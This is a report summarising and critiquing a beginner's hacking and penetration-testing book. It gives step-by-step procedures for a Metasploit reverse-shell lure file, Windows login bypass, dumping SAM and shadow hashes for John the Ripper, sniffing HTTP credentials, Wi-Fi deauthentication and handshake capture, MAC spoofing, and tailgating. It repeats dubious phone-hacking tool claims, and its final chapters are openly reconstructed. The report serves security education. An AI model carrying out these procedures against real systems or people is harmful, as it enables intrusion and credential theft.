A Technical Compendium and Analysis of 'Hacking: Computer Hacking, Security Testing, Penetration Testing and Basic Security'

Report Introduction

This report provides a comprehensive, chapter-by-chapter summary and technical analysis of the book *Hacking: Computer Hacking, Security Testing, Penetration Testing and Basic Security* by Gary Hall and Erin Watson. The objective is to extract and organize all key concepts, definitions, and step-by-step technical tasks as presented in the text, providing a complete compendium of its contents.

The book's central philosophy is a principle that can be termed "Offensive-Informed Defense." The text operates on the premise that it is "inconceivable to expect to protect yourself and property from hackers without first understanding how hacking actually works".[1] It seeks to reframe the concept of hacking not as an inherently criminal activity, but as a methodology of problem-solving defined by "discovering ignored or unintended uses of a product or situation".[1] This distinction between the *act* of hacking (a methodology) and the *intent* (criminal vs. ethical) is foundational to the book's structure.

This report mirrors the book's three-part organization:

1. **Foundations of Hacking:** An analysis of the core concepts, ethics, and methodologies that define the hacking profession.
2. **Technical Execution of Hack Attacks:** A detailed extraction of the specific, step-by-step technical procedures for compromising various systems.
3. **The Aftermath and Future:** An analysis of the professional and forward-looking implications of hacking, including an extrapolated reconstruction of content missing from the provided source.

Section 1: Foundations of Hacking (Analysis of Part I, Ch. 1-4)

This section analyzes the foundational concepts that establish the "who, what, why, and how" of hacking, setting the professional and ethical groundwork for the technical attacks detailed in Part II.

Chapter 1: What is Hacking?

This chapter defines the core terminology, history, and classifications of hackers and their skills.

Key Concepts: Definitions and History
The text immediately defines hacking not as a malicious act, but as "finding an alternative or unintended use of computer hardware or software, so as to enhance their applications and solve problems".1
A brief history of this methodology is provided [1]:

- **1870s:** The first recognized instance of misusing technology is attributed to teenage boys hired as Bell Telephone switchboard operators who "intentionally misdirected and disconnected phone calls".[1]
- **1950s:** The term "hack" is coined by MIT model train enthusiasts who reverse-engineered telephone equipment to create a complex system for controlling their model trains.[1]
- **1970s:** The emergence of "phreakers," who focused on exploiting the telephone system's electronic switching to make free long-distance calls.[1]
- **1980s:** The rise of personal computers and the "Hacker Ethic," which advocated for "unlimited and total access to computers in order to understand how the world works".[1]
- **Late 1980s:** A shift occurs as a "younger generation" begins hacking for "personal profit," leading to the distribution of viruses and the formation of cyber-gangs.[1]
- **Modern:** The "latest frontier" is identified as "whacking," which involves "finding unsecured Wireless Access Points (WAPs) and connecting to them".[1]

Hacker Taxonomy and Motivations
The book defines three modern categories of hackers, replacing the older term "cracker" 1:

1. **Black Hat Hackers:** Criminals who "intentionally break into systems and steal information or money" for "selfish purposes".[1]

2. **White Hat Hackers (Ethical Hackers):** Professionals who hack systems "in order to find potential vulnerabilities and then figure out ways of preventing those weaknesses being exploited." They release patches and form communities to share knowledge.[1]
3. **Grey Hat Hackers:** A hybrid "motivated by profit as well as ethical reasons." They may "use both legal and illegal means to exploit a system," inform the owner of the vulnerability, and then offer to fix it.[1]

The primary motivations for hacking are categorized into four groups: legal security testing, curiosity or pride (the domain of "script-kiddies"), malicious destruction of data, and data theft for corporate or government entities.[1]

Essential Hacker Skills
The book presents a list of eight essential skills required to become an expert hacker. This list establishes a high technical barrier, suggesting that the book's target "beginner" is not a computer novice, but rather an IT professional who is a beginner in the hacking discipline.
Table 1: 8 Essential Hacker Skills and Requirements [1]

Skill	Description from Source
1. Mid-level Computer Skills	Beyond browsing; requires the ability to "use Windows command module effectively or create a network."
2. Networking Skills	Understand core concepts like routers, packets, ports, public/private IPs, DNS, and TCP/IP.
3. Database Skills	Master database management systems such as MySQL and Oracle to understand penetration techniques.
4. Use of Linux OS	The "vast majority of hackers use the Linux operating system" because it "allows you to tweak programs."
5. Scripting Skills	Create custom hacking tools (e.g., in Python or Ruby on Rails) to "no longer have to rely on tools provided by other hackers."
6. Use of Virtualization Software	Use a "virtual workstation, for example, VMWare Workstation," to create a "safe

	setting for your test" and avoid damaging one's own machine.
7. Understand Security Concepts	Know technologies like firewalls, Public Key Infrastructure (PKI), and Secure Sockets Layer (SSL).
8. Reverse Engineering Skills	The ability to take software or hardware "apart in order to understand how it works" and convert it into a more advanced tool.

Chapter 2: Hacking and Basic Security

This chapter provides a diagnostic guide for identifying attacks and a taxonomy of common attack vectors. The text first categorizes attacks into three broad forms [1]:

1. **Physical:** Using traditional weapons, breaking into facilities, or "rummaging through garbage cans to find valuable information (passwords... network diagrams, etc.)".[1]
2. **Syntactic:** The use of malware, such as a virus, worm, or Trojan horse, to disrupt a system.[1]
3. **Semantic:** A subtle attack where a hacker gains trust to "modify information and pass it off as genuine," causing the system to "generate errors or erratic results".[1]

Technical Guidelines: Detecting Hacker Attacks
The text provides specific technical indicators to watch for on both Windows and UNIX-based systems.
Table 2: Attack Detection Signatures: Windows vs. UNIX [1]

Platform	Detection Signatures
Windows OS	• **Unusually high outgoing network traffic:** Indicates the system may be compromised and used as a spam bot or part of a network worm.[1] • **Elevated disk activity & unknown files in your root directory:** Suggests a hacker is running scans for valuable files (passwords, financial data).[1] • **Your personal firewall stopping a huge number of packets from one source address:** A sign of automated probing tools scanning for an open port.[1] • **Sudden reports of Trojans and backdoors being detected by your antivirus:** Indicates a malicious user may be using a previously installed backdoor to access the system remotely.[1]

UNIX Machines	• **Any files with suspicious names in your /tmp folder:** Hackers and worms often create temporary files in /tmp and "are not usually deleted" after the compromise.[1] • **The addition of suspicious services to your /etc/services file:** A classic method for opening a backdoor into a UNIX system by modifying text files.[1] • **Modification of system files contained in the /etc/ folder:** Specifically, check the /etc/shadow and /etc/passwd files for new, suspicious usernames a hacker may have created for later access.[1]

Taxonomy of 10 Common Attack Vectors

The chapter then details ten prevalent hacking techniques, which are summarized and contextualized below.

Table 3: Taxonomy of 10 Common Attack Vectors [1]

Attack Type	Core Mechanism	Technical Context / Example
1. Keylogging	Software (a "keylogger") records every keystroke a user types, storing the information (passwords, email IDs) in a log file for later retrieval by the hacker.[1]	This is a form of spyware. Keyloggers can be software-based, hooking into the keyboard API, or physical hardware devices plugged in between the keyboard and the PC.[2, 10]
2. Denial of Service (DoS)	A hacker "floods a server or website with tons of traffic requests" to overwhelm its ability to respond, causing a crash. This often uses "zombie	A *Distributed* Denial of Service (DDoS) attack is launched from a botnet (a network of many compromised machines), making the attack much

	computers or botnets".[1]	more difficult to block as the traffic comes from many different sources.[3, 11]
3. Phishing	An attack that "takes advantage of people's inattentiveness." An email that appears to be from a "legitimate source (bank or charity organization)" contains a link to a fake website designed to steal user credentials.[1]	This is a form of social engineering.
4. Waterhole Attacks	A targeted attack where a hacker identifies a location or website frequented by a specific group (e.g., a coffee shop). The hacker then creates a "fake Wi-Fi access point" in that location to intercept data from users who connect to it.[1]	This differs from pharming. A waterhole attack compromises a legitimate website or location frequented by a *specific group*.[4] Pharming, in contrast, manipulates DNS to redirect *all* users of a site, regardless of their group affiliation.[12]
5. Eavesdropping	A "passive form of attacking where a hacker monitors a system in order to obtain information such as passwords and user accounts." The hacker can then impersonate the user.[1]	This can be used to send Trojans to the victim's contacts, who trust the (impersonated) sender.[1]
6. Pharming	An attack that redirects traffic intended for a "genuine website to another, fake website." This is accomplished in two ways: 1) "altering the file of the host site on a user's computer" (a hosts file	Pharming is a DNS-based attack.[5] It is more dangerous than phishing because the user can type the correct URL into their browser and still be redirected to the fake site without their

	attack), or 2) "exploiting a vulnerability in the software of the site's DNS server" (DNS poisoning).[1]	knowledge.[13]
7. Clickjacking	Also known as "user-interface redressing." A hacker "hides a piece of malicious coding underneath an apparently genuine button or link." A user *thinks* they are clicking the "X" to close a window, but they are invisibly clicking a hidden button that downloads a Trojan or turns on their webcam.[1]	This attack uses transparent or opaque layers to trick a user into clicking on something they cannot see.[6, 14]
8. Cookie Theft	A form of "session hijacking." When a user logs into a site (e.g., Facebook), the site issues a "cookie" to prove their identity for that session. On an unencrypted, public Wi-Fi network, a hacker can "read, copy, and use the cookie" to impersonate the user.[1]	This is often done by "sniffing" (monitoring) network traffic with a tool like Wireshark [7] or by exploiting a Cross-Site Scripting (XSS) vulnerability on the website itself.[15]
9. Man-in-the-Middle (MitM)	An attack where the hacker "intercepts messages between two parties, impersonating both of them." It is a form of "real-time eavesdropping" that allows the hacker to inject false information into the conversation (e.g., providing their own bank account number during a	Common MitM techniques include creating an "Evil Twin" (fake) Wi-Fi hotspot, DNS spoofing, and ARP spoofing on a local network.[8]

	transaction).[1]	
10. Spyware	Software installed to "collect sensitive information without their knowledge." Unlike a virus, it is not "meant to transmit itself to other devices." It is often "piggybacked onto legitimate software" or shareware.[1]	Spyware can be installed remotely by tricking a user into clicking a malicious link (phishing) or a deceptive pop-up ad.[9, 16]

Chapter 3: The Ethical Hacking Plan

This chapter establishes the professional framework for an ethical hack, formalizing the process to ensure it is legal, structured, and beneficial. This process clearly distinguishes a professional white hat hacker from a "script-kiddie" through an emphasis on discipline and accountability.[1]

Step-by-Step Technical Tasks: Formulating a Hacking Plan
A formal plan is critical to a successful engagement.

1. **Obtain Authorization:** This is the most important step. An ethical hacker must "Get the required approval for security testing." This must be *written authorization*—a signed contract for a client or an internal memo from management. This document is the hacker's protection against potential "loss of a job or filing of criminal charges" if the system crashes or data is exposed during the test.[1]
2. **Define Scope and Plan:** A detailed plan must be created, clearly defining the "scope".[1] This plan should include:
    - The systems to be tested, prioritizing "the most critical and vulnerable systems".[1]
    - A risk assessment and "contingency plan in case the hacking process goes wrong".[1]
    - A defined testing schedule (e.g., during or after business hours). The book notes that a true test of security would "launch any type of test at any time of day" to simulate a real attacker, though exceptions are made for disruptive tests like DoS.[1]
    - Defined actions for when major vulnerabilities are found (e.g., "let the key players know about it ASAP").[1]
    - The final deliverables, such as "detailed scanning reports containing information about vulnerabilities and recommendations on how to fix them".[1]
    - The "specific set of tools that you will need for your task".[1]
3. **Establish Objectives:** The technical goals of the hack must be aligned with the *business* goals of the client. Examples include "attaining international security standards," meeting "federal regulations," or "justifying an increase in the security budget".[1]

Key Concepts: The 10 Commandments of Ethical Hacking
The chapter outlines a professional code of conduct, which represents the core ethical and methodological framework for an ethical hacker.1

Table 4: The 10 Commandments of Ethical Hacking [1]

Commandment	Key Principle
1. You must set goals	Define what you are trying to achieve (e.g., find unauthorized access points).[1]
2. You must plan ahead - always	Work within constraints (time, money, manpower) by identifying networks, defining procedures, and getting the plan approved.[1]
3. You must get authorization	**"Make sure that the person whose system you are hacking gives you written permission"**.[1] This is the most critical rule.[18]
4. You must be ethical	Stick to the approved plan. Maintain "confidentiality, and conscience." Do not release findings to unauthorized persons. Comply with local laws and company governance.[1]
5. You must maintain good records	"Note down every task performed." "Log every piece of information directly." Be diligent, patient, and thorough, logging both successful and failed tests.[1]
6. You must protect confidential information	"Respect people's privacy." Do not abuse or misuse any passwords, encryption keys, or personal information you discover.[1]
7. You must not cause harm	"Hacking actions often cause... unforeseen damage." Know your tools, read their documentation, and stick to the plan to avoid accidental outages.[1]
8. Your process must always be empirical	Use a scientific process: set "Quantifiable goals," ensure "Consistency and repeatability" (a test must produce the same result every time), and focus on

	fixing persistent problems.[1]
9. You must not use any random tool	"focus on a few tools that you know are effective and you are familiar with." Do not be tempted to "try them all out".[1]
10. You must report all your findings	Give regular status updates. Report high-risk weaknesses "immediately." The report is the final product and must be thorough.[1]

Chapter 4: The Hacker's Methodology

This chapter details the formal, step-by-step procedure for a penetration test. This methodology acts as a "kill chain" or funnel, moving from broad, public information down to a specific, actionable exploit.

First, the text defines the two primary assessment types [1]:

- **Overt (or White Box) Assessment:** The hacker has "some inside knowledge of the system" they intend to test.[1]
- **Blind/Covert (or Black Box) Assessment:** The client "doesn't give you much information apart from the name of the company." The hacker "must search for information on... their own," which "simulates a real-world" attack but takes more time.[1]

Step-by-Step Technical Tasks: The Four-Phase Methodology
The book outlines a standard, four-phase process for executing an attack.1
1. Phase 1: Reconnaissance (Passive)
The goal is to gather information using publicly available resources without actively touching the target's systems.1

- **Web Searches:** Use search engines to find employee names (for phishing/social engineering), technical job openings (which reveal the technology a company uses), SEC filings, patents, and press releases.[1]
- **Google Hacking (Google Dorking):** Use advanced search operators to find sensitive files and configuration details that have been inadvertently indexed by Google.[1]
    - site:www.xyz.com keyword (Searches only within a specific website for a keyword).
    - site:www.xyz.com filename (Searches for a specific file).
    - Filetype:swf XYZ (Finds Flash files).
    - Filetype:pdf XYZ confidential (Finds PDF files with the word "confidential").
- **Web Crawling:** Use tools to "mirror a website and download all the publicly accessible files" for offline scanning and analysis.[1]
- **Public Databases:** Use a Whois tool to query domain registration records. This "enables you to obtain information" such as the names, phone numbers, and addresses associated with a domain, as well as the DNS servers for the target network.[1]

2. Phase 2: System Scanning (Active)
The goal is to actively probe the target's network (identified in Phase 1) to find live hosts, open ports, and running services.1

- **Scan for Hosts:** Use ping sweeps to identify which IP addresses in a range are active.
    - **Tools:** ping, fping (pings multiple IPs at once), NetScan Tools Pro, SuperScan.[1]
- **Scan for Open Ports:** Once live hosts are found, scan them for open ports to identify running services (e.g., FTP on port 21, HTTP on port 80).

    - **Tools:** OmniPeek, Wireshark, SuperScan.[1]

3. Phase 3: Evaluating System Vulnerabilities
The goal is to match the services and software versions (identified in Phase 2) against databases of known vulnerabilities.1

- **Manual Research:** Check the discovered services against public vulnerability databases.
    - **Databases:** sans.org/top20, nvd.nist.gov, cve.mitre.org.[1]
- **Automated Evaluation:** Use vulnerability management tools that automatically scan for and correlate vulnerabilities across a network.
    - **Tools:** QualysGuard (commercial, cloud-based), Rapid7's Nexpose (free for up to 32 hosts).[1]

4. Phase 4: Penetration Testing (Exploitation)
The goal is to "penetrate the system" by using an exploit that targets a vulnerability (identified in Phase 3).1

- **Exploit:** Use a penetration testing framework to launch the attack.
    - **Tool:** Metasploit (www.metasploit.com/framework).[1]
- **Post-Exploitation:** Once the system is compromised, the hacker can perform actions such as:
    - Getting a "remote command prompt."
    - Accessing "confidential files."
    - Accessing "other interconnected systems in the network."
    - "Disabling inbuilt logging security checks".[1]
    - Performing "SQL injection attacks".[1]

Section 2: Technical Execution of Hack Attacks (Analysis of Part II, Ch. 5-10)

This section details the specific "how-to" guides for the attacks outlined in the book.

Chapter 5: How to Hack a Smartphone

This chapter describes a remote, anonymous attack against an Android phone that purports to provide "total access to all data".[1] The attack requires only the target's phone number and an internet connection.[1]

Step-by-Step Technical Tasks
Two methods are described 1:

1. **Method 1:** Use an online app called MasterLocate.com to monitor the target's GPD location, text messages, and call logs.
2. **Method 2 (Using 'Android Phone Hacker' tool):**
    1. Download and run the 'Android Phone Hacker' tool.
    2. Activate the software (Help > Activate Product).
    3. Enter the target's phone number in the "Victim's Mobile Number" field.
    4. Click "Verify" and wait for the program to connect and detect the country.
    5. Use the "Reports" section to browse the victim's "Messages, Call Logs, and Files."
    6. Export the desired files using the "Export Method" (e.g., .rar or .zip).

This chapter's technical value is questionable. It does not explain the underlying exploit (e.g., a zero-day exploit or malicious payload delivery). Instead, it promotes specific, named tools that function as "magic boxes," which is more aligned with the "script-kiddie" approach than a professional methodology. This contrasts sharply with a professional approach, which would involve setting up a testing environment, using the Android Debug Bridge (ADB), reverse-engineering the app's .apk file, and testing for insecure data storage or communication.[24]

Smartphone Hacking Prevention Tips
The chapter's prevention tips, however, are technically sound and align with industry best practices 1:

1. **Keep the phone locked** with a strong password or pattern.
2. **Activate the phone's tracker** (e.g., Find My Device) to enable remote lock and wipe.
3. **Keep firmware updated** to patch vulnerabilities.

4. **Never download apps from unconfirmed sources** (i.e., "sideloading"). Stick to official app stores.
5. **Check app permissions** before installing an app.
6. **Do not click unsolicited links** in text messages or emails.
7. **Avoid unsecured public Wi-Fi** for sensitive activities like shopping or banking.
8. **Download a trusted antivirus app.**

Chapter 6: How to Hack Operating Systems

This chapter provides four distinct methods for hacking Windows operating systems, escalating from physical access to a fully remote attack.

Table 5: Technical Walkthrough: Hacking Windows OS (4 Methods) [1]

Method	Access	Step-by-Step Instructions	Key Commands/Tools	Weakness
1. Using Linux CD	Physical	1. Burn a Linux Live CD (e.g., Ubuntu) and boot the target computer from it ("Try Ubuntu"). 2. Open the file manager (Nautilus). Go to the "Places" menu to find and mount the Windows drive. 3. If files have permissions enabled, open Terminal.	sudo nautilus	Cannot access files encrypted with Bitlocker or Truecrypt.[1]

		4. Type sudo nautilus and press Enter (no password is required) to gain root access to the file system for copying files.[1, 25]		
2. Using Trinity Rescue Kit	Physical	1. Download the Trinity Rescue Kit.ISO, burn it to a CD, and boot from it.[1, 26] 2. From the main menu, navigate to Windows Password Resetting, then select Interactive Winpass.[1, 27] 3. Follow the prompts to select the partition and choose Edit User data and Passwords. 4. Type the username to be edited. Select option 1: Clear User	Interactive Winpass Clear User Password	Bypasses the OS login but, like Method 1, cannot access files that are *individually* encrypted.[1]

		Password. 5. Type ! to exit the user menu, then q to exit the Winpass menu. 6. Restart the computer. The user's account will now have a blank password.[1]		
3. Using Ophcrack	Physical	1. Download the Ophcrack Live CD (the Vista version is noted as working well for Win 7 and 8). 2. Boot the victim's computer from the CD. 3. The software will "begin attempting to crack the user's passwords" automatically using rainbow tables. 4. Cracked passwords will	Ophcrack Live CD	"May not be able to hack every single password." It will fail against passwords that are long, complex, and not in its rainbow tables.[1]

		appear on the screen. 5. Reboot and use the retrieved password to log in.[1]		
4. Remote Hacking (Metasploit)	Remote	1. Run Kali Linux (2.0+). Find the MS15-100 exploit code (e.g., on Exploit-DB) and save it as ms15_100_mcl.rb to add it as a new module. 2. Launch Metasploit (msfconsole). 3. Load the module: msf > use exploit/windows/fileformat/ms15_100_mcl.[1, 28] 4. Set the filename for the malicious link: msf > set FILENAME worlds_smallest_laptop_ever.mcl	Metasploit ms15_100_mcl.rb set PAYLOAD exploit	Requires social engineering (the victim must open the file). The specific MS15-100 exploit is from 2015 and is patched on all modern systems.[1, 29]

		5. Set the filename for the payload: msf > set FILE_NAME smallest_laptop.exe 6. Set the payload (the "shell"): msf > set PAYLOAD windows/meterpreter/reverse_tcp 7. Create the file: msf > exploit 8. Send the generated .mcl file (found in /root/msf4/local/) to the victim. 9. When the victim opens the file (believing it's a media link), it executes the payload and opens a remote session. 10. Interact with the session: msf > sessions -1.[1]		

The inclusion of the Metasploit-based attack (Method 4) is significant. While the specific exploit (MS15-100) is obsolete, the 10-step process serves as a clear, valuable *template* for the Metasploit framework itself. It teaches the standard attack-chain: 1) use an exploit, 2) set options (like payload and filenames), 3) exploit to generate the malicious file, 4) deliver the file, and 5) sessions to interact with the victim.

Chapter 7: Social Engineering Hacking

This chapter focuses on exploiting the "weakest component of every organization's security - its people".[1] Social engineering is defined as "hacking the people rather than the system" by "gaining the trust of people in order to maliciously exploit them".[1]

Attack Strategies and Signs

- **Trust Building:** The hacker is "wily, articulate, and have the ability to keep a conversation flowing smoothly".[1]
- **Impersonation:** The hacker may "falsify a work badge and get a fake uniform just to blend in" as an employee or vendor.[1]
- **Reverse Social Engineering:** A more advanced trick where the hacker "causes a specific problem to occur, and when the intended victim needs help, they swoop in... and solve the problem," which entrenches them as a trusted figure.[1]
- **Phishing:** Using technology (spoofed email, text, social media) to request confidential information or send malicious links. The "Nigerian 419 scam" is cited as a classic example.[1]

The text lists several behavioral "red flags" that can indicate a social engineering attack is in progress [1]:

- Being "too friendly or enthusiastic."
- "Bragging that they have authority in the organization."
- Behaving "nervously when asked questions" or "over-elaborating."
- Appearing to be "in a hurry" to create a sense of urgency.
- Asking "weird questions" that are outside of a normal conversation.

Social Engineering Countermeasures
The chapter provides countermeasures for both organizations and individuals 1:

- **For Organizations:**
  - **Policies:** Implement stringent access controls, such as information hierarchies ("disseminated purely on a need-to-know basis"), mandatory ID systems for all employees and contractors, and a policy that "all guests into the premises have an official escort".[1]

    - **Training:** "Awareness is the key to preventing social engineering hacks." Training must be continuous, use non-technical language, and have buy-in from top management.[1]
- **For Individuals:**
    - "Avoid giving out personal or confidential information" unless the requester and their need is verified.
    - "Do not click on any unsolicited email links" or "open email attachments that come from strange addresses."
    - "Do not share private information... on social media."
    - "Do not allow strangers to connect to your wireless network".[1]

Chapter 8: Physical Security

This chapter reinforces that "a malicious hacker can penetrate any system or network if they can just gain physical access into a building or data center".[1] It details the process of bypassing physical, rather than digital, controls.

This type of attack demonstrates a "blended threat," where an attacker may use social engineering (Chapter 7) to bypass a physical control (Chapter 8) to gain access to a network, where they can then use technical exploits (Chapter 10).

Common Physical Vulnerabilities [1]

- Lack of front-desk personnel or a guest sign-in book.
- Failure to verify the identity of "uniformed vendor servicemen or repairmen."
- Using "conventional keys that anyone can make copies of."
- "Failure to shred sensitive information and throwing it in the trash instead" (this enables Dumpster Diving).[1]
- Doors that do not close properly.

Step-by-Step Technical Tasks: Breaching Physical Security

1. **Reconnaissance (Site Assessment):** The hacker assesses the facility to identify weaknesses and assets. This includes [1]:
    - **Perimeter:** Assessing fences, guards, and walls. A weakness could be "large trees... with branches extending inside the perimeter wall".[1]
    - **Dumpsters:** Noting the "location of dumpsters" for later dumpster diving.[1]
    - **Surveillance:** Identifying the "positioning of security cameras and blind spots".[1]
2. **Bypassing Access Controls:**
    - **Lock Picking:** The book states this is "not that difficult to learn" for "pin tumbler"

locks. "Cheap lock-picking kits" are available online.[1]
    - **Keypads:** A hacker can place a "spy cam in a strategic position to learn the code".[1]
3. **Defeating Intrusion Detection:**
    - **CCTV:** The primary method is to exploit "blind spots".[1] The book also suggests that advanced attackers can "hack into the camera feed" or "jam the signals of a wireless camera".[1]
    - **Alarms:** The hacker must "understand the kind of response that security will have when an alarm goes off" (e.g., police dispatch vs. local guards).[1]
4. **Bypassing Personnel (Social Engineering):**
    - **Impersonation:** This is described as a "surefire way to enter." The hacker acquires a "uniform, and if you prefer, get a service truck and some equipment to make you look like the real deal" (e.g., salesperson, technician).[1]
    - **Tailgating:** Following an authorized employee through a secure door. Techniques include pretending to "carry a tray of food," "pretending to be talking on the phone," or being "on crutches" to elicit sympathy and have the door held open.[1]

Chapter 9: How to Hack Passwords

This chapter explores password vulnerabilities, cracking methodologies, and the specific tools used to execute them.

Key Concepts: Vulnerabilities and Defenses

- **Organizational/User Vulnerabilities:** These are human-created weaknesses, such as using easy-to-guess passwords ("password," "12345678"), reusing the same password across multiple systems, or "writing down [passwords] and stored in an unsecured place".[1]
- **Technical Vulnerabilities:** These are system-level weaknesses, such as "weak encryption schemes," "unencrypted programs and databases that are... used to store a cache of passwords," and applications that "do not hide a password as the user is typing it".[1]
- **Salting:** The book correctly identifies salting as the process of "adding pieces of information (the 'salt') to a password prior to hashing it." It correctly states that this "makes a hacker's pre-calculated hashes totally useless" (i.e., it breaks rainbow tables).[1]
    - *Note on Technical Accuracy:* The book incorrectly claims salting "won't be as effective" against brute-force attacks.[1] This is a significant misunderstanding. Salting dramatically *slows* brute-force attacks by forcing the attacker to compute a unique hash for *each* salt (i.e., for *each user*), rather than computing one hash and comparing it against all users in the database.[37]

Password Cracking Tools and Methodologies
The text lists several common tools: Brutus, Cain and Abel, Elcomsoft System Recovery, Ophcrack, John the Ripper, and Proactive Password Auditor.1
It then compares seven cracking methods, highlighting the trade-offs between time, storage, and probability of success.

Table 6: Password Cracking Methodologies: A Comparative Analysis [1]

Method	How it Works	Key Weakness / Feasibility
1. Guessing	Using logic and common passwords based on personal information (pet's name, birthday, username).[1]	Effective only against the weakest, most predictable passwords.
2. Social Engineering	To "simply ask for it." A hacker poses as IT support and "requests the user's password in order to log in and help them fix the problem".[1]	Relies on exploiting human trust, not a technical flaw.
3. Shoulder Surfing	"looking over a person's shoulder as they type in a password." Can also be done remotely with a "strategically placed camera".[1]	Requires physical proximity or access to plant a camera.
4. Dictionary Attacks	A program feeds a "list of words" (a dictionary) into the hash function and compares the output to the target hash.[1]	Fails if the password is not a dictionary word (e.g., "g5T&" or is misspelled).[1]
5. Brute Force Attacks	"systematically trying every single possible combination of words." Described as "inefficient" and a method	An 8-character password has "7 quadrillion combinations" and "would take you 22,875 years" with

	of last resort.[1]	a machine doing 10,000 cracks/sec. Only feasible for very short passwords.[1]
6. Rainbow Tables	A "pre-computed" attack. A hacker first computes hashes for every word in a dictionary and stores them in a "hash table," then compares the victim's hash to this pre-built list.[1]	Requires "a huge storage space on your hard drive".[1] More importantly, **salting** "makes rainbow tables not feasible" because a separate table would be needed for each of the thousands of possible salt values.[1]
7. Password Prob. Matrix	A "trade-off between storage space and computational power." It attempts to find a "perfect balance" between a Brute Force attack (all computation) and a Rainbow Table (all storage).[1]	"it takes a very long time to create the matrix itself," as long as a brute-force attack.[1]

Step-by-Step Technical Tasks: Cracking with John the Ripper (JtR)

The book provides a command-line walkthrough for using pwdump3 and John the Ripper to crack Windows and LINUX passwords.

Note on Outdated Tooling: The pwdump3 tool [1] is obsolete. Modern penetration testers would use more advanced tools like mimikatz to dump credentials from memory [39], or use the built-in reg.exe tool to save the SAM and SYSTEM hives, then extract the hashes offline with a tool like secretsdump.py.[40] However, the *process* described in the book (Dump Hashes -> Crack Hashes) remains correct.

Table 7: Command-Line Guide: John the Ripper (JtR) and pwdump3 [1]

Target	Prerequisite	Step-by-Step Commands
Windows	Administrative Access	1. Create a directory: C:\passwords 2. Download and extract pwdump3.exe and john.exe

		to C:\passwords. 3. **Dump SAM hashes:** c:\passwords\pwdump3 > cracked.txt 4. **Run JtR:** c:\passwords\john cracked.txt
LINUX / UNIX	Root Access (to read shadow file)	1. Download and extract the JtR source: tar -zxf john-1.7.9.tar.gz 2. Change directory: cd /src 3. Compile JtR: make generic 4. Change directory: cd /run 5. **Combine password/shadow files:** ./unshadow /etc/passwd /etc/shadow > cracked.txt [1, 41] 6. **Run JtR:** ./john cracked.txt

Chapter 10: Hacking Websites and Web Applications

This chapter details attacks against web servers and applications, focusing on information disclosure and session hijacking.

Key Concepts and Technical Tasks

1. **Directory Traversal Attack:**
    - **Concept:** An HTTP exploit that uses ../ (dot dot slash) sequences to "move one

folder up" and access restricted files "outside of the website's files".[1] The goal is to read sensitive files like /etc/passwd on Linux or C:\WINDOWS files on Windows.[1]

- **Task (Recon):** Use a "spider program like HTTrack Website Copier" to mirror a site and find publicly accessible .zip, .rar, or .pdf files that may contain sensitive data. Or, use Google Hacking (Google Dorking) queries [1]:
  - site:hostname keywords (e.g., site:www.madhatter.com confidential)
  - filetype: file-extension site:hostname (e.g., filetype: pdf site:www.madhatter.com)
  - Other operators: inurl, allintitle, link, related.
- **Countermeasures:**
  - Do not store "old, confidential... files or records on the server".[1]
  - Configure the robots.txt file to "Prevent Google and other search engines from crawling your site".[1]
  - Configure the web server (e.g., Apache's .htaccess or IIS Manager) to set "minimum privileges" and restrict public directory access.[1]

2. **Default Script Attacks:**
   - **Concept:** Exploiting "poorly written" or default scripts (ASP, PHP) that "web developers or webmasters usually use... without really understanding how the script works".[1] A hacker can use these sample scripts, often with default credentials, to "gain unauthorized access to the files stored on a web server".[1]
3. **Website Password Hacking (Network Sniffing):**
   - **Concept:** This task provides a powerful demonstration of why unencrypted (HTTP) traffic is insecure. A hacker on the same Local Area Network (LAN) as a victim can "capture that information, store it, and analyze it".[1]
   - **Prerequisites:** Hacker and victim are on the same LAN (e.g., public Wi-Fi), and the hacker's network card is in "promiscuous mode".[1]
   - **Technical Task:** The following table details the step-by-step procedure for using Wireshark to sniff plaintext passwords.

Table 8: Command-Line Guide: Wireshark Web Password Hacking [1]

Step	Action/Command
1.	Download, install, and run Wireshark on Kali Linux.
2.	Select your network interface (e.g., eth0) and click "Start" to begin capturing traffic.
3.	In the Wireshark "filter text box," type the

	display filter: http.request.method == "POST"
4.	This filter isolates packets that are *sending* data to a web server, which includes login forms.
5.	Have the victim (or a test machine) log in to an *unencrypted* (HTTP) website.
6.	Right-click on the POST packet that appears in the Wireshark list.
7.	From the context menu, select Follow TCP Stream.
8.	A new window opens showing the raw data. Look for the plaintext credentials (e.g., scifuser and password fields, or a string like username=admin&password=123456).[1]

Section 3: Extrapolated Analysis of Missing Content (Part II-III, Ch. 11-14)

The provided source material ends at Chapter 10.[1] The content of the final chapters is reconstructed here based on the Table of Contents [1], the book's established logical flow, and supplemental technical documents.

Chapter 11: Hacking Wireless Networks

This missing chapter is the logical bridge from an external attacker to an internal one. The password-sniffing attack in Chapter 10 requires the hacker to be *on the LAN*.[1] This chapter would provide the "whacking" [1] techniques to accomplish that.

- **Cracking WPA/WPA2:** The most common attack involves capturing the WPA 4-way handshake. The process is as follows:
  1. Place a wireless adapter into "monitor mode".[44]
  2. Use a tool like aireplay-ng to send "deauthentication packets" to a connected client. This forcibly disconnects them from the Wi-Fi network.[44]
  3. The client's device will automatically try to reconnect, initiating a "4-way handshake" with the access point.[44]
  4. The hacker captures this handshake file.
  5. The captured file is taken offline and attacked with a tool like aircrack-ng, which uses a dictionary or brute-force attack to find the Pre-Shared Key (PSK), or Wi-Fi password.[44]
- **MAC Spoofing:** To bypass MAC filtering, a common but weak security measure where a router only allows "known" devices to connect. A hacker can spoof the MAC address of a legitimate device.

Proposed Table: Technical Walkthrough: MAC Spoofing with macchanger [45]

Step	Command (Linux)	Purpose
1.	ip link show	Identify the wireless interface name (e.g., wlan0).

2.	sudo ip link set wlan0 down	Take the interface offline to change its settings.
3.	macchanger -s wlan0	Show the current (real) and permanent (hardware) MAC address.
4.	sudo macchanger -r wlan0	Assign a new, random MAC address to the interface.
5.	sudo ip link set wlan0 up	Bring the interface back online with the new, "spoofed" MAC.

Chapter 12: Why Hacking Is Absolutely Necessary

This missing chapter would serve as the book's core ethical *argument*, justifying the "dangerous" techniques taught in Part II. It frames ethical hacking as an essential, proactive component of a modern defense strategy.

- **Proactive Defense:** Ethical hacking is necessary to "identify vulnerabilities before they become problems".[47] It allows organizations to find and "fix security issues before they can be exploit[ed] by malicious, or 'black-hat,' hackers".[48]
- **Cost-Benefit Analysis:** The primary business driver is financial. A single data breach can result in an average loss of nearly $5 million.[47] In contrast, "Proactive testing costs just a tiny fraction of that".[47] Hiring ethical hackers is a cost-effective security measure.[50]
